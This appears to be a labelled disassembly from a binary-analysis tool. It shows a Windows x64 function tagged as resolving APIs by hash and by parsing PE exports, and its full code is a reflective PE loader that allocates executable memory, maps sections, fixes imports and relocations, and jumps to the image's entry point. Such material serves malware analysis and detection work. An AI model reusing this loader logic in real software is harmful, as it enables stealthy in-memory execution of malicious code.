Function at 0x180003350
Capabilities:
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov r14, rcx
mov edx, 0x534c0ab8
mov ecx, 0x3cfa685d
call fcn.1800035e8
mov edi, 0x6a4abc5b
mov qword [rsp + 0x58], rax
mov ecx, edi
mov edx, 0xec0e4e8e
mov r15, rax
call fcn.1800035e8
mov edx, 0x7c0dfcaa
mov ecx, edi
mov r12, rax
call fcn.1800035e8
mov edx, 0x91afca54
mov ecx, edi
mov r13, rax
call fcn.1800035e8
test r15, r15
je 0x1800035c6
test r12, r12
je 0x1800035c6
test r13, r13
je 0x1800035c6
test rax, rax
je 0x1800035c6
movsxd rbx, dword [r14 + 0x3c]
xor ecx, ecx
add rbx, r14
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
mov edx, dword [rbx + 0x50]
call rax
xor r10d, r10d
mov rbp, rax
test rax, rax
je 0x1800035c6
mov ecx, dword [rbx + 0x54]
lea r11d, [r10 + 1]
mov rdi, rax
mov rsi, r14
rep movsb byte [rdi], byte [rsi]
movzx r8d, word [rbx + 0x14]
movzx r9d, r10w
add r8, rbx
cmp r10w, word [rbx + 6]
jae 0x18000344c
movzx eax, r9w
add r9w, r11w
lea rdx, [rax + rax*4]
mov esi, dword [r8 + rdx*8 + 0x2c]
mov edi, dword [r8 + rdx*8 + 0x24]
add rsi, r14
mov ecx, dword [r8 + rdx*8 + 0x28]
add rdi, rbp
rep movsb byte [rdi], byte [rsi]
cmp r9w, word [rbx + 6]
jb 0x180003422
cmp dword [rbx + 0x94], r10d
je 0x1800034f3
mov edi, dword [rbx + 0x90]
add rdi, rbp
cmp dword [rdi + 0xc], r10d
je 0x1800034f3
mov ecx, dword [rdi + 0xc]
add rcx, rbp
call r12
xor r10d, r10d
mov r15, rax
test rax, rax
je 0x1800034de
mov r14d, dword [rdi]
mov esi, dword [rdi + 0x10]
add r14, rbp
add rsi, rbp
jmp 0x1800034d9
cmp qword [r14], r10
jge 0x1800034bb
movsxd rax, dword [r15 + 0x3c]
movzx edx, word [r14]
mov ecx, dword [rax + r15 + 0x88]
mov eax, dword [rcx + r15 + 0x10]
mov ecx, dword [rcx + r15 + 0x1c]
sub rdx, rax
add rcx, r15
mov eax, dword [rcx + rdx*4]
add rax, r15
jmp 0x1800034ce
mov rdx, qword [rsi]
mov rcx, r15
add rdx, 2
add rdx, rbp
call r13
xor r10d, r10d
add r14, 8
mov qword [rsi], rax
add rsi, 8
cmp qword [rsi], r10
jne 0x18000348e
add rdi, 0x14
cmp dword [rdi + 0xc], r10d
jne 0x18000346c
mov r15, qword [rsp + 0x58]
mov r11d, 1
cmp dword [rbx + 0xb4], r10d
je 0x1800035a6
mov edi, dword [rbx + 0xb0]
mov rsi, rbp
sub rsi, qword [rbx + 0x30]
add rdi, rbp
mov eax, dword [rdi + 4]
test eax, eax
je 0x1800035a6
mov r9d, 0xfff
mov edx, dword [rdi]
mov r8, r10
mov ecx, eax
add rdx, rbp
lea rax, [rcx - 8]
test rax, 0xfffffffffffffffe
jbe 0x180003596
movzx ecx, word [rdi + r8*2 + 8]
movzx eax, cx
shr ax, 0xc
cmp ax, 0xa
jne 0x180003553
and rcx, r9
add qword [rcx + rdx], rsi
jmp 0x180003584
cmp ax, 3
jne 0x180003561
and rcx, r9
add dword [rcx + rdx], esi
jmp 0x180003584
cmp ax, r11w
jne 0x180003577
and rcx, r9
mov rax, rsi
shr rax, 0x10
add word [rcx + rdx], ax
jmp 0x180003584
cmp ax, 2
jne 0x180003584
and rcx, r9
add word [rcx + rdx], si
mov ecx, dword [rdi + 4]
add r8, r11
lea rax, [rcx - 8]
shr rax, 1
cmp r8, rax
jb 0x180003537
mov eax, ecx
add rdi, rax
mov eax, dword [rdi + 4]
test eax, eax
jne 0x180003521
mov edi, dword [rbx + 0x28]
xor r8d, r8d
xor edx, edx
or rcx, 0xffffffffffffffff
add rdi, rbp
call r15
xor r8d, r8d
mov rcx, rbp
lea edx, [r8 + 1]
call rdi
jmp 0x1800035c8
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret